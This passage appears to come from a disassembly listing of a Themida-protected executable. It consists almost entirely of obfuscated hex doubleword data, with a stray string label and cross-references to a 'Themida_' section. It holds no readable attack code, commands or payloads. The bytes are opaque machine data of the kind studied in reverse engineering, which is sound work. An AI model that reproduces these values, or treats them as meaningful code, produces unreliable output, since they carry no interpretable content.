7F5AD9D6h, 0BE956h, 0BF6F0000h, 0F725B1C1h dd 7D3B9050h, 81665EEBh, 0E94F22D8h, 7, 0D6DA2821h, 0F200BF2h dd 382h, 0D7BF0F00h, 8A0Fh, 0FE80000h, 0CC000000h, 1355B045h dd 4E42CFD0h, 52BF6A26h, 49B2F278h, 0CB8058h, 8B665356h dd 0B55B58CFh, 0AE878h, 459B0000h, 0B15967D5h, 0FBBE7A2Dh dd 13E96059h, 3000000h, 2C1B8C19h, 0F6A37B46h, 1E4F7A44h dd 0DFCC2434h, 0EE90C08h, 0D1000000h, 9015F632h, 87101576h dd 0A502D5FEh, 10E9618Ch, 2B000000h, 0B449B627h, 1165E858h dd 18874A03h, 808C29AAh, 0BF6666CDh, 0F9F84228h, 58E18166h dd 0C381F8F1h, 2359112Fh, 0B866F3B2h, 0FFC21DCh, 28Eh dd 0E95E5200h, 0Dh, 9F644DFCh, 0CA51F3BBh, 0FC85C14Bh dd 0D8C48078h, 68E0Fh, 0E6810000h, 30EF6C96h, 517455BEh dd 36BFFC68h, 660DC1B4h, 0F33DFBAh, 685h, 6DE18100h, 660D50EAh dd 0D681C38Bh, 1CFCFDAh, 66C8B70Fh, 0DF80D68Bh, 0A2F18101h dd 66711AF6h, 0DCC7D681h, 4820Fh, 0BA660000h, 6660C676h dd 0DF62E081h, 0C78B6660h, 6161F18Bh, 13E9h, 4A60BB00h dd 0F6A8BBE6h, 0CD298D23h, 0CD3D6C60h, 0E0D863ACh, 8B66DA8Bh dd 68D0FFBh, 0F000000h, 86h, 0C0ED8000h, 53BBDE8Bh, 560D19C9h dd 5BF8BF0Fh, 66B3BE60h, 0F60138Eh, 86h, 850F00h, 61000000h dd 198A0F61h, 0E9000000h, 14h, 0DF2CE213h, 4BBE4AA8h, 0E0B88F35h dd 7DFE5F70h, 7CFA9270h, 0A8F0F52h, 0E9000000h, 5, 8490737Ah dd 0CE95E87h, 0BC000000h, 0EB8D055Bh, 0E4A752DCh, 60256D5Bh dd 0CE9h, 103F1600h, 0E6F87481h, 0FB7C8FB9h, 0E961F587h dd 14h, 2DB8B21Dh, 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh dd 66F38B66h, 8BA3E0B8h, 9FBA66FBh, 31CB8183h, 66085582h dd 0E5B8D88Bh, 0E879A85Eh, 0Dh, 540A138h, 42F9A804h, 0C22AD048h dd 90E680A9h, 5880F5Eh, 66000000h, 5EA0F181h, 0FC9B70Fh dd 386h, 0D78B6600h, 2880Fh, 0D7B30000h, 0AE8h, 18108000h dd 0CD7813BDh, 56BA6B39h, 59C6B70Fh, 28A0F5Bh, 8A000000h dd 68B0FF1h, 81000000h, 640E89D9h, 6660515Bh, 61F2FCBAh dd 0CCF68158h, 0E83CBBECh, 0Ah, 8D9617D5h, 0BC6FCD7Eh dd 0C78101A3h, 6EBC94CEh, 0DE816659h, 830F800Dh, 2, 50F85E51h dd 0E85BF88Ah, 13h, 63E2A867h, 58E37676h, 77B49EB1h, 1D00A178h dd 6063F38Dh, 61D68BF5h, 5E95Eh, 8BF60000h, 818A0DD5h dd 0D52D1FCAh, 9E8F508h, 34000000h, 0B0AA398Ah, 67908CC0h dd 0CC4B18B8h, 0CE815959h, 79EC8D63h, 8B0Fh, 0AE80000h dd 83000000h, 6FD9AB5Fh, 4ADB3C08h, 0CBBF0F6Fh, 0FE95Fh dd 8DBD0000h, 0D1600813h, 7126F7CBh, 44D79DBBh, 68D0F95h dd 81000000h, 766888CBh, 66D18A77h, 44BFDF81h, 0D5803DB1h dd 0FE926h, 18DB0000h, 4A75DD9Eh, 8985BCF9h, 482400D2h dd 2B55BA72h, 8BF55BBEh, 6E857F2h, 6D000000h, 0C896E813h dd 8A0FF7h, 58000000h, 0FE95Eh, 0D4910000h, 557335D7h dd 3806D094h, 0D33A316Fh, 8BF98B75h, 0E08166F3h, 0EC8A372Fh dd 20810Fh, 14E80000h, 77000000h, 2390E8BDh, 60FF20C7h dd 68D17FAEh, 0A3076C5h, 0FCC0BBEh, 8Eh, 0ABB85F00h, 0E8305B9Ah dd 9, 0A95526E3h, 59532F6h, 0DE95B07h, 38000000h, 355F8D31h dd 0E6AB166Bh, 3A6BB97Ah, 0C8C28166h, 9A1FB8A4h, 0C4B847AFh dd 0F02337Dh, 0D981F3B7h, 25C07F13h, 0BC91EF81h, 5E96774h dd 0F0000000h, 8D448FF1h, 0D1805CB0h, 18F0F10h, 0F8000000h dd 9E850h, 0C48D0000h, 0E3B4AAC5h, 8B0D6196h, 0BF5B59FAh dd 1F15578Bh, 10E9h, 0BEE26500h, 12958193h, 7CF8BAFEh dd 32BEF332h, 158A0FEDh, 0E8000000h, 0Ah, 6BEF5BFEh, 0BE9585A0h dd 1BE187Ch, 5E3445B2h, 0E3C88166h, 60B8664Fh, 805A50C7h dd 81663CDFh, 8B90C6D2h, 19890FCBh, 0E9000000h, 14h, 5192D1E9h dd 0F1723DBBh, 2F04F219h, 2FCDBE74h, 0E09B0A27h, 0E46EBA56h dd 0F592024h, 1287h, 8E96000h, 0CE000000h, 16EA5EF4h, 0F62DB94h dd 0F61CAB7h, 1C8Fh, 0B5B86000h, 0E945467Ah, 10h, 0AA044F40h dd 0A40EA9DDh, 5A8B6DB9h, 56083998h, 0C6BF0F61h, 8E86051h dd 0B5000000h, 0E2554949h, 597B1D8Eh, 6182DF80h, 14E95Eh dd 95F30000h, 956881BCh, 547D3A23h, 0D64D8601h, 855A5683h dd 8C0FDD87h, 4, 676CBE66h, 82C88053h, 0F3B9665Fh, 0EE8B4h dd 19690000h, 5E08B1FAh, 0A368CF56h, 0FA69F80Dh, 13E958h dd 0E9F60000h, 0FD2A8D0Ah dd 0CA4B8516h, 84546A8Dh, 0D687F8CBh, 0F98AF525h, 7880Fh dd 66510000h, 3008EA81h, 8E0F59h, 60000000h, 0BF0FEB8Ah dd 0E4B161C9h, 2CC08166h, 0E88052E3h, 0B70F59E9h, 0FE8B66D6h dd 12E8h, 9453EA00h, 0B5DF6F66h, 25AA1C3Dh, 0A415E232h dd 817C867Eh, 44ED26D8h, 14E85A62h, 0C7000000h, 700F141Ch dd 899DCD94h, 0ECB47DDAh, 6F69B703h, 0FA69D58h, 1882h dd 12E800h, 30710000h, 6A830A3Fh, 0C366C00Ah, 0A705F5BFh dd 0FEEAF651h, 0CE85B5Fh, 0AF000000h, 64C873Eh, 0BFF1807Ch dd 66051B53h, 665ECE8Bh, 363D081h, 0B7F8BF0Fh, 705ABA88h dd 8E82A1Ch, 31000000h, 37DFE116h, 56F79354h, 9BC39BEh dd 505F5E47h, 2870Fh, 5E530000h, 8E9F85Eh, 2C000000h, 34CFD25Eh dd 0F5C1E67h, 68Ch, 9AD18100h, 0F3EF1E6h, 0D8Ch, 8E900h dd 78370000h, 26B3E9E1h, 0EE80E8A5h, 8C0FF5F0h, 6, 0FC5BF181h dd 0C381559Fh, 2F86CCD9h, 0FE8h, 7A3E5800h, 0BBCD72A1h dd 7F3250C9h, 9A895DB5h, 1CBA5EF5h, 6045F9F2h, 9756B966h dd 0DE816661h, 890F26E3h, 5, 0A5A850BFh, 60D78A0Ch, 128E0Fh dd 0DE90000h, 0C8000000h, 2467EA69h, 0BF3A5551h, 4A4020E2h dd 66606061h, 6061FE8Bh, 8E0Fh, 0D7800000h, 0E9616122h dd 9, 9036DDB9h, 3B0711E1h, 0D9BF0FAAh, 0CE95260h, 0B2000000h dd 0E33704BAh, 0AFCC146Bh, 5E18F77Dh, 61CEB70Fh, 3870Fh dd 0BF0F0000h, 58F0FF0h, 0BA000000h, 4AA06AECh, 8723EEB9h dd 5800F7Bh, 66000000h, 0CE9BCF81h, 0FC9B70Fh, 0BB0FFB7h dd 0E9C68B66h, 6, 217CDDCFh, 0DA8B9212h, 8E9C2B7h, 0CE000000h dd 0B7F927B4h, 0E8A9FD0Fh, 11h, 0B0C6A2DAh, 25963FECh dd 0C1968396h, 0AC9E592Ah, 0DE8CAh, 0F2530000h, 5C5053E6h dd 9539BF57h, 0F03567Ah, 83h, 0F8595B00h, 66F0B70Fh, 0E90567BAh dd 6, 5C4EB8CDh, 14E95375h, 0C9000000h, 0F2B375BCh, 0D6AC4A06h dd 480425ECh, 952189D2h, 0BFC2A0B2h, 56076597h, 0F9DCD881h dd 81515440h, 15753FC9h, 0E9805B2Ch, 0C68166F6h, 0DA8B8978h dd 80FB8B66h, 59572FD6h, 6E8h, 359D2100h, 0B7568921h, 0F5359C0h dd 68Ah, 850F00h, 59000000h, 0CE856h, 83540000h, 0F9096CCCh dd 3AC74DB1h, 8E98F09h, 33000000h, 1242AB92h, 5ADE12B5h dd 0B811B35Eh, 29AC8DF6h, 0BDB866F5h, 0DE850C8h, 70000000h dd 5E2BE477h, 18F86697h, 0C3338215h, 5F5FFE8Ah, 2840Fh dd 0D38A0000h, 51FBBF0Fh, 60F958F9h, 10E9F8h, 45830000h dd 824DFA0Dh, 563873Bh, 8EAE41C5h, 66612091h, 127D681h dd 0E850Fh, 0E8500000h, 6, 0F78B0874h, 5E5A5866h, 1EC98166h dd 0EE95Bh, 98B90000h, 517BFC4Eh, 37D92362h, 8A4AAC1Eh dd 8E860h, 5B9B0000h, 685F8AAAh, 8E99253h, 92000000h, 0B51242ABh dd 5E4EDE12h, 0C5D38166h, 8A0F61B9h, 1, 0FABF0FF5h, 0A9B866FCh dd 0E86060A2h, 9, 4E8F9BC7h, 2D105B09h, 0C7805EE3h, 0F616152h dd 0E860F7B7h, 11h, 8B5FA332h, 814288ECh, 483733B6h, 1551640Fh dd 58616091h, 0A345BB66h, 0D0806061h, 5661F583h, 0CE9h dd 0E73AED00h, 56662D25h, 5F40FB27h, 0D98B5E8Eh, 0F8D98B66h dd 7956B966h, 860Fh, 0BF0F0000h, 5820FD0h, 66000000h, 0A7ADD881h dd 816631B0h, 0E9AE5FDAh, 14h, 9CC805ACh, 327FB976h, 0BA61ADA4h dd 50EC1351h, 0F22E6A3Fh, 632AB966h, 0FD3B70Fh, 0E081F7BFh dd 13739674h, 0D9E08166h, 0C6B70FF8h, 602AF080h, 8160DA8Bh dd 39B8D1DFh, 615B5637h, 0E8CB8A61h, 6, 1818739h, 0BE66A929h dd 0F59C9C8h, 388h, 0C6BF0F00h, 0DED98166h, 0BE66602Fh dd 0B70F0813h, 0BF0F61D6h, 830FD8h, 0F000000h, 198Bh, 14E900h dd 0F0410000h, 0DD53A938h, 1EB73298h, 0D7217B2Ch, 0C8AE73F8h dd 0DC8018FFh, 9E9C4h, 4BC90000h, 161D8B3Eh, 8BD460E5h dd 8B70B2C3h, 5840FF2h, 66000000h, 0C3B6E781h, 7E9h, 742F0400h dd 272FCDBEh, 4C30BA66h, 0FE851h, 0C6C00000h, 3A0F966h dd 0CAFA384Bh, 518E6E26h, 65D5809Fh, 8C0F5E58h, 16h, 11E9h dd 85418A00h, 1969097Ch, 5E08B1FAh, 0A368CF56h, 0E960F80Dh dd 0Eh, 63EF2378h, 1C10042Dh, 816F880Fh, 8E0FBB59h, 2 dd 0F86119B5h, 0AE9h, 4B21A700h, 51B001D6h, 8ADC9EC9h dd 0D3BF0FD3h, 9E8h, 398A3400h, 8CC0B0AAh, 81666790h, 590195C7h dd 8BF3BF0Fh, 0CA8166CBh, 96B70BBCh, 53BF5A52h, 0F6D7F31h dd 1587h, 0EE800h, 6FF50000h, 0ACEE16B4h, 4952D6FAh, 0E59EB0C8h dd 66F95EF5h, 51B3A4B9h, 59C1B70Fh, 6860Fh, 0C8810000h dd 343DA1FFh, 0CB8BDA8Bh, 0F0DEE80h, 38Ah, 0D3B70F00h dd 8CADBE66h, 1850Fh, 52F50000h, 5AD1B70Fh, 0CB8BB2B6h dd 14E9h, 22C8FB00h, 0EA2E528Dh, 5B9946h, 0F0C91B17h, 0B6F82430h dd 0B840FD4h, 0F000000h, 589h, 1B3DBA00h, 0DE846B9h, 94000000h dd 96231185h, 86F476A1h, 8707AD9Ah, 0AE959F5h, 52000000h dd 66EF60C6h, 4A2A6800h, 8E8B8h, 2E8A0000h, 0FAFC3FD2h dd 0E858B086h, 6, 0BECB9293h, 7E8DD5Ah, 96000000h, 0B75ECBF2h dd 0BDBA5BDAh, 5F082B93h, 61F96058h, 0FE8h, 77B12300h dd 0CCEFA66Fh, 3C3737B8h, 935CAC78h, 840Fh, 0F580000h dd 1580h, 10E900h, 7D640000h, 0B333F2AEh, 9E15FC50h, 96288D70h dd 81500D08h, 4643C1D2h, 0D0815A0Eh, 4261A494h, 0AEF580F5h dd 42F9E781h, 66536793h, 0BF59D18Bh, 14B0D4CAh, 7E8h, 0B1CC1600h dd 855F1D4Ah, 38E0Fh, 8B660000h, 13E95ECFh, 0B000000h dd 0F078C05Ch, 66B4509h, 20BEF1D1h, 0D4F2494Ch, 6660ADBEh dd 0E973B8B9h, 14h, 56ED9B5Dh, 0A56AC49Ch, 972A1F24h, 0E2F72792h dd 644DFC68h, 0E9CEB561h, 10h, 0D9A7FDD5h, 7ADB0CA3h, 0A725E15Ch dd 0D3AD3B1h, 14E8FCh, 0BCB30000h, 8555EA87h, 4849D208h dd 0A7348F61h, 0DBFD6126h, 81660C55h, 5FEBEEC9h, 0AE8h dd 7111E300h, 0F10CA10Ch, 0E938C293h, 9, 0A48A4109h, 0CC6CE185h dd 81665A87h, 0F976ADC9h, 13850Fh, 0EE90000h, 60000000h dd 2A2811C8h, 2926DF8Ah, 761405D0h, 0FD78B21h, 8C0FF8BFh dd 8, 12C78153h, 595E64FAh, 66D1B70Fh, 51A787BAh, 37D6EB81h dd 805859ACh, 8166C0E6h, 8021ECEEh, 11E927CDh, 5E000000h dd 7FCA4D32h, 0A8C02CDDh, 553DC445h, 0DAB13CBEh, 0F52DA8Bh dd 280h, 5E616000h, 890F16B4h, 3, 66DF8B66h, 1B2ADE81h dd 0BF3BBB66h, 0B7605F52h, 61FAB107h, 0FE8h, 23877B00h dd 45C9766Ch, 82A4192Bh, 3C46676Ch, 0D3E08166h, 0C2805EB6h dd 0E98166C7h, 8060E200h, 0D18BBCC3h, 0DAB70F61h, 0F9D8BF0Fh dd 6E8h, 58164600h, 6676E9AAh, 0D313D081h, 66F18B5Eh, 0F984C7B8h dd 447ABA66h, 2870Fh, 0D2B50000h, 6647EE80h, 0F52D38Bh dd 0E85FD6B7h, 13h, 6978EFD2h, 0E81FB27Ah, 0C55923E2h dd 39FD1F6Dh, 0FF7543Bh, 382h, 0CEBF0F00h, 0FE8B665Ah dd 0E780D88Bh, 0C18166ADh dd 8E0F3601h, 1Bh, 13E8h, 9559D300h, 756D6B1Ah, 466DE25Ah dd 0BCC43E1Ah, 630E6EA6h, 6058D78Bh, 633B966h, 0C6816660h dd 8A0F3A14h, 0 aAaMSS db 'aaΈ=#ι',7,0 align 4 dd 442DA3C8h, 66C30CABh, 233FE081h, 0FE8h, 4051C900h, 0DC28A355h dd 0CFAA8EF9h, 0A1FEBB7Ch, 5AA1E380h, 0C68166FCh, 0FFCB9D2h dd 281h, 66F88B00h, 547FE281h, 666ED180h, 0E8FAA3BEh, 12h dd 45480D73h, 241E3F24h, 0C364B19Eh, 8937735h, 58FCE0E0h dd 788D9B8h, 0C1B70F02h, 8E8h, 8777D900h, 8D6F07Fh, 0DF8B66CDh dd 0C2B70F5Bh, 9B01BB66h, 9A12EB81h, 15B14C0Fh, 0DA816653h dd 665B9FE9h, 5EB0F081h, 860F60F8h, 0Bh, 6E9h, 0FF968900h dd 66E2CBC6h, 61B068BBh, 0EE8F88Bh, 45000000h, 0F1D1066Bh dd 494C20BEh, 0ADBED4F2h, 0C2B70FE3h, 0F08B665Eh, 0BEF8BF0Fh dd 2DFAB71Ch, 0EE9h, 0D5438300h, 0C54D275h, 166DEBAh, 0F757BA0h dd 58Bh, 0BF0F6000h, 0F08161C9h, 25C5B330h, 5FC18B56h dd 0E9D6B70Fh, 12h, 64E753CBh, 2F16C7A9h, 0DBCAC1B6h, 167B6B88h dd 0BE9F8BBh, 0D0000000h, 786F8938h, 5E6934E9h, 8166ACC5h dd 0E93E91CBh, 0Ah, 0A2ED6F24h, 756E6F8Fh, 8B66501Dh, 10E9CFh dd 54280000h, 0DD2FA3C2h, 693759Ch, 0E0D5E449h, 0BF0F25F7h dd 5EF852F8h, 6850Fh, 0C2810000h, 4DA65562h, 6660CA8Bh dd 2657C381h, 0DE9h, 513FDD00h, 0C129A97Eh, 0AE54A47Bh dd 0E861316Bh, 10h, 518347DAh, 0B06021BAh, 57673366h, 4FF319E0h dd 67EFBF66h, 6E85Eh, 0B70F0000h, 3A294055h, 81665BF9h dd 60C255E0h, 8166F88Bh, 610DB4DAh, 66FA8B66h, 0F4516B9h dd 0BB66F8BFh, 8E8FE50h, 8F000000h, 0D998FA76h, 81E1140Eh dd 74252DAh, 0B4605849h, 2439B83Fh, 0F8614ECCh, 15870Fh dd 10E90000h, 0BB000000h, 7CA3494Fh, 95B2E80Fh, 89CD4885h dd 0FCAA0AAh, 0C4B8F1BFh, 60615E2Bh, 890FF18Bh, 1, 13E961F9h dd 6A000000h, 29728517h, 0A046E324h, 77A80216h, 8DC5B98Ch dd 840FE12Bh, 12h, 0C8C0Fh, 6E80000h, 51000000h, 45AABCA8h dd 11E959CEh, 85000000h, 2400D289h, 0CA2E7248h, 4F4BC92h dd 9DA60DB9h, 6850FF8h, 81000000h, 778D78E1h, 0BE96022h dd 0A3000000h, 9B985C03h, 1303A81Eh, 81668526h, 6103ACC0h dd 14E8h, 478A2200h, 0AD0CBDF3h, 9D069F59h, 0FF97BD34h dd 4EE29511h, 0D3BF0F86h, 0DDBA6058h, 57146927h, 615F5F57h dd 8AC5E780h, 0F7CB81EFh, 66480764h, 0FF0E2BAh, 1F88h dd 12E96000h, 91000000h, 33BBDFB5h, 6B6FB2AAh, 0CA567320h dd 386D142Ah, 880FBCh, 61000000h, 0F9FB98B8h, 13E924h dd 45840000h, 0DC4A16B8h, 0B841483h, 0EE8780C2h, 3A14A9D3h dd 13E958h, 0D8290000h, 0AE9993F6h, 996A3016h, 0DACB5E37h dd 0AEDF0297h, 8001B27Ch, 840FE3EAh, 0Eh, 9E9h, 96FDAA00h dd 1EF392CBh, 0BF6614B0h, 0BF0FE274h, 0BA66FCFAh, 8B666890h dd 6E9C2h, 26700000h, 6925EB94h, 0B1D6C281h, 11E962DEh dd 86000000h, 469DB802h, 0B439EC4Ah, 636E35C8h, 1B611CE2h dd 15860Fh, 0F9600000h, 0DE9h, 0C6F6C500h, 2BBB374Ch, 7CBB0A47h dd 0E9615667h, 10h, 0E3300524h, 1D9AD6F2h, 2124372Fh, 5BBB92Ah dd 27D08166h, 880F57F2h, 4, 9AE0BB66h, 14E95Fh, 0F7A50000h dd 0BC41C3D0h, 0A859BC8Dh, 2C997174h, 0FE784EBCh, 81664AC0h dd 0E82DFFDAh, 7, 4C3A30C6h, 661320CBh, 6659FA8Bh, 0B933C5BBh dd 6C46D65Dh, 0D7BF0F60h, 72BA6660h, 0D6BF661Eh, 0F61616Ch dd 1E80h, 12E800h, 9AC70000h, 671E4034h, 76B82558h, 409F43EDh dd 353EED13h, 25B5E181h, 0F596E04h, 0AE9F0BFh, 0E7000000h dd 723117A6h, 6622233Dh, 0A4BF66DDh, 0A3DE81FEh, 810EF54Dh dd 561769E3h, 5E853h, 8E200000h, 0FC38DDB3h, 0AE95Eh, 1F3A0000h dd 921951E0h, 0D90E8429h, 78D0Fh, 80600000h, 0C88AC9DCh dd 8BA8B561h, 3800FD3h, 0F000000h, 0CE9C1B7h, 74000000h dd 577068B6h, 0ACDDFF73h, 0E887D913h, 0Dh, 57F7023Fh, 0D9402530h dd 339C7326h, 665BF9B5h, 0E4B8CE8Bh, 81753369h, 0BAD715C7h dd 66D88B09h, 8B60C88Bh, 9E9CEh, 0AF7A0000h, 687808FBh dd 61F415B2h, 5830Fh, 81660000h, 66894EE2h, 8A22EA81h dd 8185E780h, 299C1DAh, 0FB8B6612h, 0E20DBE51h, 575B7D6Fh dd 5ADA8166h, 94B45BB7h, 4598C081h, 14E959B0h, 4D000000h dd 750B8DA5h, 821620A8h, 0E7011776h, 522FF2F2h, 0E8E87888h dd 6, 5A5BEBA2h, 870FD848h, 17h, 12E9h, 0A8D65000h, 5964578Bh dd 0DD38F480h, 1DE6FBFh, 5A7AE4E8h, 3470DE81h, 0DE85B59h dd 0AD000000h, 605D02DDh, 2A7AB1DCh, 0CBEA5A4h, 7E9h, 0AFB2EA00h dd 1B59A143h, 0EB4F558h, 4820F53h, 66000000h, 5B6AE0BFh dd 85FDEF81h, 81F8014Bh, 7CF9FDF3h, 0F381660Dh, 15B74611h dd 0F51DEC80h, 0C87854BFh, 0FFB70F7Fh, 0C8D0Fh, 830F0000h dd 6, 3841CE81h, 816617A0h, 60D22AC3h, 9484DEBBh, 6E8616Bh dd 66000000h, 0DC3FF262h, 0F88B6666h, 4850F59h, 50000000h dd 0F85893B0h, 12E95851h, 0E0000000h, 0B1EBD02Fh, 4CCE5B2Fh dd 0D6FC4BFh, 10BDAF8Ch, 0BE6660BFh, 0E7806BDAh, 890F6153h dd 5, 88B5C0B8h, 0E9FA8A5Ch, 0Bh, 804E94DBh, 0B7B16393h dd 0F57EF057h, 0C98166FCh, 8B0FF5C9h, 4, 0B125BB66h, 33F78166h dd 0F781666Bh, 870FF278h, 2, 0CE81D08Bh, 752182F4h, 890F51h dd 5E000000h, 0BEDABF0Fh, 28C22889h, 0E7B2F8F9h, 12E8h dd 8E6DFA00h, 41E22696h, 6917CADh, 22C0662Fh, 66A93595h dd 59F05ABBh, 0FCF5F9FCh, 12E8h, 25624B00h, 0B029467Ah dd 4525CFC9h, 53AD2E7Fh, 0E9C42C41h, 13h, 1C852119h, 458DE752h dd 0A12D6E57h, 46414A3h, 5F1427A9h, 6E9h, 0F197DF00h, 0E9BE1684h dd 0Fh, 139C53D2h, 0D673A089h, 41D68B99h, 0B782FB59h, 0AE912h dd 0A6F60000h, 75608CB0h, 18BA9E7Fh, 8BDABF0Fh, 13E9D9h dd 0A9F60000h, 0D2711F11h, 0F6B40F18h, 0A860A957h, 4E382E5h dd 1890F7Eh, 0F5000000h, 6650C78Ah, 5A07CBBFh, 0FE8h, 5597A300h dd 91644FA0h, 0E4A3713Eh, 1812F757h, 8E9h, 8BA49000h, 939CD373h dd 0D88B5ADFh, 0FA6B5F9h, 84h, 8B665000h, 66575FDAh, 5B4CC081h dd 12E9F85Fh, 0 dd 61EBE039h, 8C4FD8C8h, 0F58C13F1h, 0A12E2BD4h, 0CE8BF95Eh dd 5860FFCh, 66000000h, 1A18C181h, 0BF2EBE66h, 0AD28B966h dd 0A74F7BBFh, 1AB86610h, 13E9F3h, 0FC0B0000h, 6207D286h dd 0B60AB849h, 200ACAB6h, 0A124B7D8h, 8C0FF4h, 56000000h dd 0B1E30EBEh, 8B665913h, 0EE960DEh, 0B7000000h, 0CD587F5Fh dd 0C4D5D099h, 2E3CCDCDh, 99EF802Ch, 9C94BA61h, 870F7439h dd 4, 595A5156h, 0CE816651h, 6658E9A5h, 809872BAh, 0C68B6CF3h dd 0FD1BF0Fh, 68Ah, 72E38100h, 0FC71AB60h, 0F0FF280h, 98Ah dd 3850F00h, 80000000h, 840FFEE2h, 4, 19BFBB66h, 572CE881h dd 81F85817h, 707EBDEBh, 0BE946h, 302B0000h, 4D599BA9h dd 8046C3DFh, 0F1BAF55Bh, 807D79A9h, 8B6629EFh, 0A850FF0h dd 60000000h, 8F0FCA8Bh, 0 dd 8A0F6061h, 4, 2792BE66h, 61F18B66h, 98C0Fh, 0F600000h dd 0B966D2B7h, 0B5613BEAh, 0C78B66B0h, 0B70FF560h, 0E88161F9h dd 1EFE4DCCh, 14E9F9h, 0B0140000h, 86124D8Ah, 0DED39598h dd 726135DDh, 1B6FA28Dh, 0BF0FC1A1h, 5E9F1h, 8DB20000h dd 0BE89C762h, 703DEB1Ah, 8A81EA80h, 0D73BFCBh, 840F0213h dd 15h, 9E8h, 84618F00h, 0E8DE6406h, 0F0819ABBh, 22E33005h dd 0FFCFC5Ah, 880h, 28E0F00h, 60000000h, 0F38B6661h, 0C8B0Fh dd 8B0F0000h, 6, 800Fh, 0E9520000h, 9, 2E1D1370h, 6037BBA3h dd 840F5876h dword_5BA704 dd 0 ; DATA XREF: Themida_:0053DFC0o ; Themida_:0053E7ACo ... dd 539CF680h, 0DE8h, 6249DC00h, 5EDF72ABh, 0F2CF00E3h dd 0BB66EC2Ah, 5A5974B2h, 0BF0FCCB2h, 0C8DB81FBh, 8B76FAF5h dd 8166F8D3h, 0F5B03ED7h, 1DBFBA66h, 14E8h, 876E5100h dd 0FC3C1BBCh, 0A32DD0C1h, 0BCDD8F00h, 7C52FB89h, 68E0F2Ch dd 0F000000h, 8Ah, 0B9665F00h, 0F5514F70h, 0B95E565Bh dd 2BC2FAB9h, 0F60FD8Ah, 0E951D1BFh, 8, 91AC1B0Ch, 0BBEEBFD6h dd 0F681615Ah, 0E0077Ch, 7E9h, 20466300h, 30E42EC4h, 13E951h dd 0C7E60000h, 21720D4Dh, 0F2D6DA28h, 0EA53200Bh, 1BA9B049h dd 0FE9586Bh, 39000000h, 0FA4DE27Ah, 2DE29A8Dh, 52A3B76Dh dd 0DA816794h, 547E04E4h, 1CCA8166h, 8166609Bh, 0FFAC4D9h dd 0BE61D7BFh, 5081F900h, 0FE953F9h, 0A2000000h, 48D28146h dd 194BE240h, 0C434FE84h, 0F5F6542h, 0F08BFFB7h, 0E9C0B660h dd 5, 0A527F096h, 6660619Fh, 0EFF6C381h, 8E8h, 1CCB4800h dd 7840FEF8h, 860F70h, 5F000000h, 4830F61h, 66000000h dd 0F921C9BFh, 14850Fh, 0FE90000h, 6A000000h, 0C4A8898Bh dd 465B27F6h, 0FEF7B3E8h, 0C3B98CC5h, 0B719B84Eh, 0F8B70F87h dd 665AF556h, 6628DABFh, 0B26BFCB8h, 13E9C1h, 3A0F0000h dd 8A597E81h, 6AB616ACh, 804340EFh, 2C0EA1BEh, 0F2E680CBh dd 0DC52C081h, 0BF0F31A0h, 0E9B866D0h, 0FE884h, 0E7A30000h dd 6D25F34h, 0E303382Ah, 0CC89597h, 4B15BB4Eh, 81585518h dd 68EACED1h, 6EBB666Eh, 0F18B6692h, 0DE860h, 40FE0000h dd 67C77078h, 26C680FBh, 0B0E40092h, 0BF0F5967h, 8D0F61D9h dd 6, 0E501CE81h, 0CE96B3Fh, 3E000000h, 2300E76Fh, 3878B837h dd 0F9B7DF61h, 20D50BEh, 0ABBF666Bh, 88C781A1h, 0F0F31B2h dd 0BE66C8BFh, 0B9FC1DACh, 238EF566h, 13E8h, 18BB7600h dd 0D3C8927Eh, 0FB637D83h, 6CA93B9Ch, 0FCC0C0D4h, 0B1E1B75Ah dd 0C38B6688h, 12E9h, 0CEA99D00h, 0CB8713F2h, 6D39A79Dh dd 51E4950Bh, 8B27A295h, 0FE8B66FBh, 0BA6660F9h, 60579CA2h dd 60615A61h, 68A0Fh, 8A0F0000h, 0 dd 61C2BF0Fh, 0FC3B70Fh, 0C280C0BFh, 0C175BF1Fh, 8B0F5712h dd 4, 59D7B053h, 9E9h, 0EE434600h, 42D66AB7h, 45BBF64Fh dd 8A4CAE55h, 0F6050D7h, 80h, 0EE900h, 0D9730000h, 73C20427h dd 0E8EDAD78h, 4F9F98A0h, 0BF0F5A61h, 1820FD9h, 0F9000000h dd 38F0Fh, 0B70F0000h, 0E888B4CBh, 5, 0D7BFD5ADh, 4830FF6h dd 66000000h, 5F37D9BAh, 5840Fh, 0A7B90000h, 0BA4FD804h dd 27AAEDD5h, 565BDA80h, 947BD0B9h, 0FE95F77h, 6C000000h dd 0BAACAECFh, 804892FEh, 65C51CDh, 5B9CC0Ch, 6640F7A8h dd 0D0BBF08Bh, 0E931F038h, 11h, 4EABFEE5h, 6C03F3ADh, 46BDDD56h dd 5F885F6Ah, 0F38166C6h, 0B70F4040h, 0FE9DAh, 24160000h dd 0CC1B6C96h, 42E7D104h, 0B100E5F6h, 14E856h, 0D1E00000h dd 2733A64Bh, 0C5FC20CEh, 0E00F04D2h, 3F87B761h, 59F53E5Bh dd 56BCD380h, 12E9h, 610E3C00h, 0FE594A55h, 7BAFFAB7h dd 1F84685Ah, 5EF21B4Ah, 8E9h, 0C41DC100h, 4BA940D5h, 0CB81665Eh dd 0CF8111EDh, 5618F9B7h, 10E9h, 0A7004B00h, 0D26B51A2h dd 0E6FF763Ah, 8CEFE606h, 35F68111h, 0F778B06h, 0F60F6BFh dd 68Eh, 8B0F00h, 0E8000000h, 0Dh, 0FB874C1h, 0D0AE2B54h dd 0DABD350h, 80615B90h, 50521BC5h, 870Fh, 58590000h, 0B0C9BF0Fh dd 48D0FAFh, 66000000h, 661263B9h, 4167DF81h, 10E9h, 7C0F100h dd 204CE9E0h, 59F85D8Ah, 5FA29D7Ch, 22BE6630h, 6E971h dd 748F0000h, 0C1C76A5Eh, 8B93D780h, 0F2BF0FD9h, 1BF3EB81h dd 840F2683h, 3, 0FCFFBF0Fh, 0FC18B66h, 6060C1B7h, 0BE9h dd 9ECC3500h, 0DF8B1069h, 2BFAFBB1h, 0F61D98Bh, 0E861C8B7h dd 0Ah, 5B07F1F8h, 0FE91A466h, 0D88186BFh, 3792F608h, 8E95Bh dd 7E1D0000h, 293515DDh, 11E83DC5h, 0EC000000h, 0AF7D97FBh dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0D8CFE881h, 0E95A0ED7h dd 0Ah, 606FE1C6h, 84C0F8FEh, 6BBF6337h, 0F45EAA3h, 583h dd 5611B800h, 13E96CA4h, 30000000h, 5E189BE2h, 0F513E8A6h dd 0D78F1AF1h, 6EFB8506h, 8160BB09h, 0F518EBEAh, 38C0F0Fh dd 66000000h, 